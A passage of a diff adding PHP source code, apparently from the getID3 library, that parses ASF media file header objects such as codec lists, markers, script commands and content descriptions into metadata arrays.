(!empty($thisfile_video['bitrate_mode']) ? $thisfile_video['bitrate_mode'] : 'cbr'); + break; + + case GETID3_ASF_Command_Media: + default: + // do nothing + break; + + } + + $thisfile_asf['stream_properties_object'][$StreamPropertiesObjectStreamNumber] = $StreamPropertiesObjectData; + unset($StreamPropertiesObjectData); // clear for next stream, if any + break; + + case GETID3_ASF_Header_Extension_Object: + // Header Extension Object: (mandatory, one only) + // Field Name Field Type Size (bits) + // Object ID GUID 128 // GUID for Header Extension object - GETID3_ASF_Header_Extension_Object + // Object Size QWORD 64 // size of Header Extension object, including 46 bytes of Header Extension Object header + // Reserved Field 1 GUID 128 // hardcoded: GETID3_ASF_Reserved_1 + // Reserved Field 2 WORD 16 // hardcoded: 0x00000006 + // Header Extension Data Size DWORD 32 // in bytes. valid: 0, or > 24. equals object size minus 46 + // Header Extension Data BYTESTREAM variable // array of zero or more extended header objects + + // shortcut + $thisfile_asf['header_extension_object'] = array(); + $thisfile_asf_headerextensionobject = &$thisfile_asf['header_extension_object']; + + $thisfile_asf_headerextensionobject['offset'] = $NextObjectOffset + $offset; + $thisfile_asf_headerextensionobject['objectid'] = $NextObjectGUID; + $thisfile_asf_headerextensionobject['objectid_guid'] = $NextObjectGUIDtext; + $thisfile_asf_headerextensionobject['objectsize'] = $NextObjectSize; + $thisfile_asf_headerextensionobject['reserved_1'] = substr($ASFHeaderData, $offset, 16); + $offset += 16; + $thisfile_asf_headerextensionobject['reserved_1_guid'] = $this->BytestringToGUID($thisfile_asf_headerextensionobject['reserved_1']); + if ($thisfile_asf_headerextensionobject['reserved_1'] != GETID3_ASF_Reserved_1) { + $this->warning('header_extension_object.reserved_1 GUID ('.$this->BytestringToGUID($thisfile_asf_headerextensionobject['reserved_1']).') does not match expected "GETID3_ASF_Reserved_1" GUID ('.$this->BytestringToGUID(GETID3_ASF_Reserved_1).')'); + //return false; + break; + } + $thisfile_asf_headerextensionobject['reserved_2'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); + $offset += 2; + if ($thisfile_asf_headerextensionobject['reserved_2'] != 6) { + $this->warning('header_extension_object.reserved_2 ('.$thisfile_asf_headerextensionobject['reserved_2'].') does not match expected value of "6"'); + //return false; + break; + } + $thisfile_asf_headerextensionobject['extension_data_size'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); + $offset += 4; + $thisfile_asf_headerextensionobject['extension_data'] = substr($ASFHeaderData, $offset, $thisfile_asf_headerextensionobject['extension_data_size']); + $unhandled_sections = 0; + $thisfile_asf_headerextensionobject['extension_data_parsed'] = $this->HeaderExtensionObjectDataParse($thisfile_asf_headerextensionobject['extension_data'], $unhandled_sections); + if ($unhandled_sections === 0) { + unset($thisfile_asf_headerextensionobject['extension_data']); + } + $offset += $thisfile_asf_headerextensionobject['extension_data_size']; + break; + + case GETID3_ASF_Codec_List_Object: + // Codec List Object: (optional, one only) + // Field Name Field Type Size (bits) + // Object ID GUID 128 // GUID for Codec List object - GETID3_ASF_Codec_List_Object + // Object Size QWORD 64 // size of Codec List object, including 44 bytes of Codec List Object header + // Reserved GUID 128 // hardcoded: 86D15241-311D-11D0-A3A4-00A0C90348F6 + // Codec Entries Count DWORD 32 // number of entries in Codec Entries array + // Codec Entries array of: variable // + // * Type WORD 16 // 0x0001 = Video Codec, 0x0002 = Audio Codec, 0xFFFF = Unknown Codec + // * Codec Name Length WORD 16 // number of Unicode characters stored in the Codec Name field + // * Codec Name WCHAR variable // array of Unicode characters - name of codec used to create the content + // * Codec Description Length WORD 16 // number of Unicode characters stored in the Codec Description field + // * Codec Description WCHAR variable // array of Unicode characters - description of format used to create the content + // * Codec Information Length WORD 16 // number of Unicode characters stored in the Codec Information field + // * Codec Information BYTESTREAM variable // opaque array of information bytes about the codec used to create the content + + // shortcut + $thisfile_asf['codec_list_object'] = array(); + $thisfile_asf_codeclistobject = &$thisfile_asf['codec_list_object']; + + $thisfile_asf_codeclistobject['offset'] = $NextObjectOffset + $offset; + $thisfile_asf_codeclistobject['objectid'] = $NextObjectGUID; + $thisfile_asf_codeclistobject['objectid_guid'] = $NextObjectGUIDtext; + $thisfile_asf_codeclistobject['objectsize'] = $NextObjectSize; + $thisfile_asf_codeclistobject['reserved'] = substr($ASFHeaderData, $offset, 16); + $offset += 16; + $thisfile_asf_codeclistobject['reserved_guid'] = $this->BytestringToGUID($thisfile_asf_codeclistobject['reserved']); + if ($thisfile_asf_codeclistobject['reserved'] != $this->GUIDtoBytestring('86D15241-311D-11D0-A3A4-00A0C90348F6')) { + $this->warning('codec_list_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_codeclistobject['reserved']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {86D15241-311D-11D0-A3A4-00A0C90348F6}'); + //return false; + break; + } + $thisfile_asf_codeclistobject['codec_entries_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); + $offset += 4; + for ($CodecEntryCounter = 0; $CodecEntryCounter < $thisfile_asf_codeclistobject['codec_entries_count']; $CodecEntryCounter++) { + // shortcut + $thisfile_asf_codeclistobject['codec_entries'][$CodecEntryCounter] = array(); + $thisfile_asf_codeclistobject_codecentries_current = &$thisfile_asf_codeclistobject['codec_entries'][$CodecEntryCounter]; + + $thisfile_asf_codeclistobject_codecentries_current['type_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); + $offset += 2; + $thisfile_asf_codeclistobject_codecentries_current['type'] = self::codecListObjectTypeLookup($thisfile_asf_codeclistobject_codecentries_current['type_raw']); + + $CodecNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character + $offset += 2; + $thisfile_asf_codeclistobject_codecentries_current['name'] = substr($ASFHeaderData, $offset, $CodecNameLength); + $offset += $CodecNameLength; + + $CodecDescriptionLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character + $offset += 2; + $thisfile_asf_codeclistobject_codecentries_current['description'] = substr($ASFHeaderData, $offset, $CodecDescriptionLength); + $offset += $CodecDescriptionLength; + + $CodecInformationLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); + $offset += 2; + $thisfile_asf_codeclistobject_codecentries_current['information'] = substr($ASFHeaderData, $offset, $CodecInformationLength); + $offset += $CodecInformationLength; + + if ($thisfile_asf_codeclistobject_codecentries_current['type_raw'] == 2) { // audio codec + + if (strpos($thisfile_asf_codeclistobject_codecentries_current['description'], ',') === false) { + $this->warning('[asf][codec_list_object][codec_entries]['.$CodecEntryCounter.'][description] expected to contain comma-separated list of parameters: "'.$thisfile_asf_codeclistobject_codecentries_current['description'].'"'); + } else { + + list($AudioCodecBitrate, $AudioCodecFrequency, $AudioCodecChannels) = explode(',', $this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['description'])); + $thisfile_audio['codec'] = $this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['name']); + + if (!isset($thisfile_audio['bitrate']) && strstr($AudioCodecBitrate, 'kbps')) { + $thisfile_audio['bitrate'] = (int) trim(str_replace('kbps', '', $AudioCodecBitrate)) * 1000; + } + //if (!isset($thisfile_video['bitrate']) && isset($thisfile_audio['bitrate']) && isset($thisfile_asf['file_properties_object']['max_bitrate']) && ($thisfile_asf_codeclistobject['codec_entries_count'] > 1)) { + if (empty($thisfile_video['bitrate']) && !empty($thisfile_audio['bitrate']) && !empty($info['bitrate'])) { + //$thisfile_video['bitrate'] = $thisfile_asf['file_properties_object']['max_bitrate'] - $thisfile_audio['bitrate']; + $thisfile_video['bitrate'] = $info['bitrate'] - $thisfile_audio['bitrate']; + } + + $AudioCodecFrequency = (int) trim(str_replace('kHz', '', $AudioCodecFrequency)); + switch ($AudioCodecFrequency) { + case 8: + case 8000: + $thisfile_audio['sample_rate'] = 8000; + break; + + case 11: + case 11025: + $thisfile_audio['sample_rate'] = 11025; + break; + + case 12: + case 12000: + $thisfile_audio['sample_rate'] = 12000; + break; + + case 16: + case 16000: + $thisfile_audio['sample_rate'] = 16000; + break; + + case 22: + case 22050: + $thisfile_audio['sample_rate'] = 22050; + break; + + case 24: + case 24000: + $thisfile_audio['sample_rate'] = 24000; + break; + + case 32: + case 32000: + $thisfile_audio['sample_rate'] = 32000; + break; + + case 44: + case 441000: + $thisfile_audio['sample_rate'] = 44100; + break; + + case 48: + case 48000: + $thisfile_audio['sample_rate'] = 48000; + break; + + default: + $this->warning('unknown frequency: "'.$AudioCodecFrequency.'" ('.$this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['description']).')'); + break; + } + + if (!isset($thisfile_audio['channels'])) { + if (strstr($AudioCodecChannels, 'stereo')) { + $thisfile_audio['channels'] = 2; + } elseif (strstr($AudioCodecChannels, 'mono')) { + $thisfile_audio['channels'] = 1; + } + } + + } + } + } + break; + + case GETID3_ASF_Script_Command_Object: + // Script Command Object: (optional, one only) + // Field Name Field Type Size (bits) + // Object ID GUID 128 // GUID for Script Command object - GETID3_ASF_Script_Command_Object + // Object Size QWORD 64 // size of Script Command object, including 44 bytes of Script Command Object header + // Reserved GUID 128 // hardcoded: 4B1ACBE3-100B-11D0-A39B-00A0C90348F6 + // Commands Count WORD 16 // number of Commands structures in the Script Commands Objects + // Command Types Count WORD 16 // number of Command Types structures in the Script Commands Objects + // Command Types array of: variable // + // * Command Type Name Length WORD 16 // number of Unicode characters for Command Type Name + // * Command Type Name WCHAR variable // array of Unicode characters - name of a type of command + // Commands array of: variable // + // * Presentation Time DWORD 32 // presentation time of that command, in milliseconds + // * Type Index WORD 16 // type of this command, as a zero-based index into the array of Command Types of this object + // * Command Name Length WORD 16 // number of Unicode characters for Command Name + // * Command Name WCHAR variable // array of Unicode characters - name of this command + + // shortcut + $thisfile_asf['script_command_object'] = array(); + $thisfile_asf_scriptcommandobject = &$thisfile_asf['script_command_object']; + + $thisfile_asf_scriptcommandobject['offset'] = $NextObjectOffset + $offset; + $thisfile_asf_scriptcommandobject['objectid'] = $NextObjectGUID; + $thisfile_asf_scriptcommandobject['objectid_guid'] = $NextObjectGUIDtext; + $thisfile_asf_scriptcommandobject['objectsize'] = $NextObjectSize; + $thisfile_asf_scriptcommandobject['reserved'] = substr($ASFHeaderData, $offset, 16); + $offset += 16; + $thisfile_asf_scriptcommandobject['reserved_guid'] = $this->BytestringToGUID($thisfile_asf_scriptcommandobject['reserved']); + if ($thisfile_asf_scriptcommandobject['reserved'] != $this->GUIDtoBytestring('4B1ACBE3-100B-11D0-A39B-00A0C90348F6')) { + $this->warning('script_command_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_scriptcommandobject['reserved']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {4B1ACBE3-100B-11D0-A39B-00A0C90348F6}'); + //return false; + break; + } + $thisfile_asf_scriptcommandobject['commands_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); + $offset += 2; + $thisfile_asf_scriptcommandobject['command_types_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); + $offset += 2; + for ($CommandTypesCounter = 0; $CommandTypesCounter < $thisfile_asf_scriptcommandobject['command_types_count']; $CommandTypesCounter++) { + $CommandTypeNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character + $offset += 2; + $thisfile_asf_scriptcommandobject['command_types'][$CommandTypesCounter]['name'] = substr($ASFHeaderData, $offset, $CommandTypeNameLength); + $offset += $CommandTypeNameLength; + } + for ($CommandsCounter = 0; $CommandsCounter < $thisfile_asf_scriptcommandobject['commands_count']; $CommandsCounter++) { + $thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['presentation_time'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); + $offset += 4; + $thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['type_index'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); + $offset += 2; + + $CommandTypeNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character + $offset += 2; + $thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['name'] = substr($ASFHeaderData, $offset, $CommandTypeNameLength); + $offset += $CommandTypeNameLength; + } + break; + + case GETID3_ASF_Marker_Object: + // Marker Object: (optional, one only) + // Field Name Field Type Size (bits) + // Object ID GUID 128 // GUID for Marker object - GETID3_ASF_Marker_Object + // Object Size QWORD 64 // size of Marker object, including 48 bytes of Marker Object header + // Reserved GUID 128 // hardcoded: 4CFEDB20-75F6-11CF-9C0F-00A0C90349CB + // Markers Count DWORD 32 // number of Marker structures in Marker Object + // Reserved WORD 16 // hardcoded: 0x0000 + // Name Length WORD 16 // number of bytes in the Name field + // Name WCHAR variable // name of the Marker Object + // Markers array of: variable // + // * Offset QWORD 64 // byte offset into Data Object + // * Presentation Time QWORD 64 // in 100-nanosecond units + // * Entry Length WORD 16 // length in bytes of (Send Time + Flags + Marker Description Length + Marker Description + Padding) + // * Send Time DWORD 32 // in milliseconds + // * Flags DWORD 32 // hardcoded: 0x00000000 + // * Marker Description Length DWORD 32 // number of bytes in Marker Description field + // * Marker Description WCHAR variable // array of Unicode characters - description of marker entry + // * Padding BYTESTREAM variable // optional padding bytes + + // shortcut + $thisfile_asf['marker_object'] = array(); + $thisfile_asf_markerobject = &$thisfile_asf['marker_object']; + + $thisfile_asf_markerobject['offset'] = $NextObjectOffset + $offset; + $thisfile_asf_markerobject['objectid'] = $NextObjectGUID; + $thisfile_asf_markerobject['objectid_guid'] = $NextObjectGUIDtext; + $thisfile_asf_markerobject['objectsize'] = $NextObjectSize; + $thisfile_asf_markerobject['reserved'] = substr($ASFHeaderData, $offset, 16); + $offset += 16; + $thisfile_asf_markerobject['reserved_guid'] = $this->BytestringToGUID($thisfile_asf_markerobject['reserved']); + if ($thisfile_asf_markerobject['reserved'] != $this->GUIDtoBytestring('4CFEDB20-75F6-11CF-9C0F-00A0C90349CB')) { + $this->warning('marker_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_markerobject['reserved_1']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {4CFEDB20-75F6-11CF-9C0F-00A0C90349CB}'); + break; + } + $thisfile_asf_markerobject['markers_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); + $offset += 4; + $thisfile_asf_markerobject['reserved_2'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); + $offset += 2; + if ($thisfile_asf_markerobject['reserved_2'] != 0) { + $this->warning('marker_object.reserved_2 ('.$thisfile_asf_markerobject['reserved_2'].') does not match expected value of "0"'); + break; + } + $thisfile_asf_markerobject['name_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); + $offset += 2; + $thisfile_asf_markerobject['name'] = substr($ASFHeaderData, $offset, $thisfile_asf_markerobject['name_length']); + $offset += $thisfile_asf_markerobject['name_length']; + for ($MarkersCounter = 0; $MarkersCounter < $thisfile_asf_markerobject['markers_count']; $MarkersCounter++) { + $thisfile_asf_markerobject['markers'][$MarkersCounter]['offset'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); + $offset += 8; + $thisfile_asf_markerobject['markers'][$MarkersCounter]['presentation_time'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); + $offset += 8; + $thisfile_asf_markerobject['markers'][$MarkersCounter]['entry_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); + $offset += 2; + $thisfile_asf_markerobject['markers'][$MarkersCounter]['send_time'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); + $offset += 4; + $thisfile_asf_markerobject['markers'][$MarkersCounter]['flags'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); + $offset += 4; + $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); + $offset += 4; + $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description'] = substr($ASFHeaderData, $offset, $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length']); + $offset += $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length']; + $PaddingLength = $thisfile_asf_markerobject['markers'][$MarkersCounter]['entry_length'] - 4 - 4 - 4 - $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length']; + if ($PaddingLength > 0) { + $thisfile_asf_markerobject['markers'][$MarkersCounter]['padding'] = substr($ASFHeaderData, $offset, $PaddingLength); + $offset += $PaddingLength; + } + } + break; + + case GETID3_ASF_Bitrate_Mutual_Exclusion_Object: + // Bitrate Mutual Exclusion Object: (optional) + // Field Name Field Type Size (bits) + // Object ID GUID 128 // GUID for Bitrate Mutual Exclusion object - GETID3_ASF_Bitrate_Mutual_Exclusion_Object + // Object Size QWORD 64 // size of Bitrate Mutual Exclusion object, including 42 bytes of Bitrate Mutual Exclusion Object header + // Exlusion Type GUID 128 // nature of mutual exclusion relationship. one of: (GETID3_ASF_Mutex_Bitrate, GETID3_ASF_Mutex_Unknown) + // Stream Numbers Count WORD 16 // number of video streams + // Stream Numbers WORD variable // array of mutually exclusive video stream numbers. 1 <= valid <= 127 + + // shortcut + $thisfile_asf['bitrate_mutual_exclusion_object'] = array(); + $thisfile_asf_bitratemutualexclusionobject = &$thisfile_asf['bitrate_mutual_exclusion_object']; + + $thisfile_asf_bitratemutualexclusionobject['offset'] = $NextObjectOffset + $offset; + $thisfile_asf_bitratemutualexclusionobject['objectid'] = $NextObjectGUID; + $thisfile_asf_bitratemutualexclusionobject['objectid_guid'] = $NextObjectGUIDtext; + $thisfile_asf_bitratemutualexclusionobject['objectsize'] = $NextObjectSize; + $thisfile_asf_bitratemutualexclusionobject['reserved'] = substr($ASFHeaderData, $offset, 16); + $thisfile_asf_bitratemutualexclusionobject['reserved_guid'] = $this->BytestringToGUID($thisfile_asf_bitratemutualexclusionobject['reserved']); + $offset += 16; + if (($thisfile_asf_bitratemutualexclusionobject['reserved'] != GETID3_ASF_Mutex_Bitrate) && ($thisfile_asf_bitratemutualexclusionobject['reserved'] != GETID3_ASF_Mutex_Unknown)) { + $this->warning('bitrate_mutual_exclusion_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_bitratemutualexclusionobject['reserved']).'} does not match expected "GETID3_ASF_Mutex_Bitrate" GUID {'.$this->BytestringToGUID(GETID3_ASF_Mutex_Bitrate).'} or "GETID3_ASF_Mutex_Unknown" GUID {'.$this->BytestringToGUID(GETID3_ASF_Mutex_Unknown).'}'); + //return false; + break; + } + $thisfile_asf_bitratemutualexclusionobject['stream_numbers_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); + $offset += 2; + for ($StreamNumberCounter = 0; $StreamNumberCounter < $thisfile_asf_bitratemutualexclusionobject['stream_numbers_count']; $StreamNumberCounter++) { + $thisfile_asf_bitratemutualexclusionobject['stream_numbers'][$StreamNumberCounter] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); + $offset += 2; + } + break; + + case GETID3_ASF_Error_Correction_Object: + // Error Correction Object: (optional, one only) + // Field Name Field Type Size (bits) + // Object ID GUID 128 // GUID for Error Correction object - GETID3_ASF_Error_Correction_Object + // Object Size QWORD 64 // size of Error Correction object, including 44 bytes of Error Correction Object header + // Error Correction Type GUID 128 // type of error correction. one of: (GETID3_ASF_No_Error_Correction, GETID3_ASF_Audio_Spread) + // Error Correction Data Length DWORD 32 // number of bytes in Error Correction Data field + // Error Correction Data BYTESTREAM variable // structure depends on value of Error Correction Type field + + // shortcut + $thisfile_asf['error_correction_object'] = array(); + $thisfile_asf_errorcorrectionobject = &$thisfile_asf['error_correction_object']; + + $thisfile_asf_errorcorrectionobject['offset'] = $NextObjectOffset + $offset; + $thisfile_asf_errorcorrectionobject['objectid'] = $NextObjectGUID; + $thisfile_asf_errorcorrectionobject['objectid_guid'] = $NextObjectGUIDtext; + $thisfile_asf_errorcorrectionobject['objectsize'] = $NextObjectSize; + $thisfile_asf_errorcorrectionobject['error_correction_type'] = substr($ASFHeaderData, $offset, 16); + $offset += 16; + $thisfile_asf_errorcorrectionobject['error_correction_guid'] = $this->BytestringToGUID($thisfile_asf_errorcorrectionobject['error_correction_type']); + $thisfile_asf_errorcorrectionobject['error_correction_data_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); + $offset += 4; + switch ($thisfile_asf_errorcorrectionobject['error_correction_type']) { + case GETID3_ASF_No_Error_Correction: + // should be no data, but just in case there is, skip to the end of the field + $offset += $thisfile_asf_errorcorrectionobject['error_correction_data_length']; + break; + + case GETID3_ASF_Audio_Spread: + // Field Name Field Type Size (bits) + // Span BYTE 8 // number of packets over which audio will be spread. + // Virtual Packet Length WORD 16 // size of largest audio payload found in audio stream + // Virtual Chunk Length WORD 16 // size of largest audio payload found in audio stream + // Silence Data Length WORD 16 // number of bytes in Silence Data field + // Silence Data BYTESTREAM variable // hardcoded: 0x00 * (Silence Data Length) bytes + + $thisfile_asf_errorcorrectionobject['span'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 1)); + $offset += 1; + $thisfile_asf_errorcorrectionobject['virtual_packet_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); + $offset += 2; + $thisfile_asf_errorcorrectionobject['virtual_chunk_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); + $offset += 2; + $thisfile_asf_errorcorrectionobject['silence_data_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); + $offset += 2; + $thisfile_asf_errorcorrectionobject['silence_data'] = substr($ASFHeaderData, $offset, $thisfile_asf_errorcorrectionobject['silence_data_length']); + $offset += $thisfile_asf_errorcorrectionobject['silence_data_length']; + break; + + default: + $this->warning('error_correction_object.error_correction_type GUID {'.$this->BytestringToGUID($thisfile_asf_errorcorrectionobject['reserved']).'} does not match expected "GETID3_ASF_No_Error_Correction" GUID {'.$this->BytestringToGUID(GETID3_ASF_No_Error_Correction).'} or "GETID3_ASF_Audio_Spread" GUID {'.$this->BytestringToGUID(GETID3_ASF_Audio_Spread).'}'); + //return false; + break; + } + + break; + + case GETID3_ASF_Content_Description_Object: + // Content Description Object: (optional, one only) + // Field Name Field Type Size (bits) + // Object ID GUID 128 // GUID for Content Description object - GETID3_ASF_Content_Description_Object + // Object Size QWORD 64 // size of Content Description object, including 34 bytes of Content Description Object header + // Title Length WORD 16 // number of bytes in Title field + // Author Length WORD 16 // number of bytes in Author field + // Copyright Length WORD 16 // number of bytes in Copyright field + // Description Length WORD 16 // number of bytes in Description field + // Rating Length WORD 16 // number of bytes in Rating field + // Title WCHAR 16 // array of Unicode characters - Title + // Author WCHAR 16 // array of Unicode characters - Author + // Copyright WCHAR 16 // array of Unicode characters - Copyright + // Description WCHAR 16 // array of Unicode characters - Description + // Rating WCHAR 16 // array of Unicode characters - Rating + + // shortcut + $thisfile_asf['content_description_object'] = array(); + $thisfile_asf_contentdescriptionobject = &$thisfile_asf['content_description_object']; + + $thisfile_asf_contentdescriptionobject['offset'] = $NextObjectOffset + $offset; + $thisfile_asf_contentdescriptionobject['objectid'] = $NextObjectGUID; + $thisfile_asf_contentdescriptionobject['objectid_guid'] = $NextObjectGUIDtext; + $thisfile_asf_contentdescriptionobject['objectsize'] = $NextObjectSize; + $thisfile_asf_contentdescriptionobject['title_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); + $offset += 2; + $thisfile_asf_contentdescriptionobject['author_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); + $offset += 2; + $thisfile_asf_contentdescriptionobject['copyright_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); + $offset += 2; + $thisfile_asf_contentdescriptionobject['description_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); + $offset += 2; + $thisfile_asf_contentdescriptionobject['rating_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); + $offset += 2; + $thisfile_asf_contentdescriptionobject['title'] = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['title_length']); + $offset += $thisfile_asf_contentdescriptionobject['title_length']; + $thisfile_asf_contentdescriptionobject['author'] = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['author_length']); + $offset += $thisfile_asf_contentdescriptionobject['author_length']; + $thisfile_asf_contentdescriptionobject['copyright'] = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['copyright_length']); + $offset += $thisfile_asf_contentdescriptionobject['copyright_length']; + $thisfile_asf_contentdescriptionobject['description'] = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['description_length']); + $offset += $thisfile_asf_contentdescriptionobject['description_length']; + $thisfile_asf_contentdescriptionobject['rating'] = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['rating_length']); + $offset += $thisfile_asf_contentdescriptionobject['rating_length']; + + $ASFcommentKeysToCopy = array('title'=>'title', 'author'=>'artist', 'copyright'=>'copyright', 'description'=>'comment', 'rating'=>'rating'); + foreach ($ASFcommentKeysToCopy as $keytocopyfrom => $keytocopyto) { + if (!empty($thisfile_asf_contentdescriptionobject[$keytocopyfrom])) { + $thisfile_asf_comments[$keytocopyto][] = $this->TrimTerm($thisfile_asf_contentdescriptionobject[$keytocopyfrom]); + } + } + break; + + case GETID3_ASF_Extended_Content_Description_Object: + // Extended Content Description Object: (optional, one only) + // Field Name Field Type Size (bits) + // Object ID GUID 128 // GUID for Extended Content Description object - GETID3_ASF_Extended_Content_Description_Object + // Object Size QWORD 64 // size of ExtendedContent Description object, including 26 bytes of Extended Content Description Object header + // Content Descriptors Count WORD 16 // number of entries in Content Descriptors list + // Content Descriptors array of: variable // + // * Descriptor Name Length WORD 16 // size in bytes of Descriptor Name field + // * Descriptor Name WCHAR variable // array of Unicode characters - Descriptor Name + // * Descriptor Value Data Type WORD 16 // Lookup array: + // 0x0000 = Unicode String (variable length) + // 0x0001 = BYTE array (variable length) + // 0x0002 = BOOL (DWORD, 32 bits) + // 0x0003 = DWORD (DWORD, 32 bits) + // 0x0004 = QWORD (QWORD, 64 bits) + // 0x0005 = WORD (WORD, 16 bits) + // * Descriptor Value Length WORD 16 // number of bytes stored in Descriptor Value field + // * Descriptor Value variable variable // value for Content Descriptor + + // shortcut + $thisfile_asf['extended_content_description_object'] = array(); + $thisfile_asf_extendedcontentdescriptionobject = &$thisfile_asf['extended_content_description_object']; + + $thisfile_asf_extendedcontentdescriptionobject['offset'] = $NextObjectOffset + $offset; + $thisfile_asf_extendedcontentdescriptionobject['objectid'] = $NextObjectGUID; + $thisfile_asf_extendedcontentdescriptionobject['objectid_guid'] = $NextObjectGUIDtext; + $thisfile_asf_extendedcontentdescriptionobject['objectsize'] = $NextObjectSize; + $thisfile_asf_extendedcontentdescriptionobject['content_descriptors_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); + $offset += 2; + for ($ExtendedContentDescriptorsCounter = 0; $ExtendedContentDescriptorsCounter < $thisfile_asf_extendedcontentdescriptionobject['content_descriptors_count']; $ExtendedContentDescriptorsCounter++) { + // shortcut + $thisfile_asf_extendedcontentdescriptionobject['content_descriptors'][$ExtendedContentDescriptorsCounter] = array(); + $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current = &$thisfile_asf_extendedcontentdescriptionobject['content_descriptors'][$ExtendedContentDescriptorsCounter]; + + $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['base_offset'] = $offset + 30; + $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); + $offset += 2; + $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name'] = substr($ASFHeaderData, $offset, $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length']); + $offset += $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length']; + $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); + $offset += 2; + $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); + $offset += 2; + $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = substr($ASFHeaderData, $offset, $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length']); + $offset += $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length']; + switch ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type']) { + case 0x0000: // Unicode string + break; + + case 0x0001: // BYTE array + // do nothing + break; + + case 0x0002: // BOOL + $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = (bool) getid3_lib::LittleEndian2Int($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']); + break; + + case 0x0003: // DWORD + case 0x0004: // QWORD + case 0x0005: // WORD + $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = getid3_lib::LittleEndian2Int($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']); + break; + + default: + $this->warning('extended_content_description.content_descriptors.'.$ExtendedContentDescriptorsCounter.'.value_type is invalid ('.$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type'].')'); + //return false; + break; + } + switch 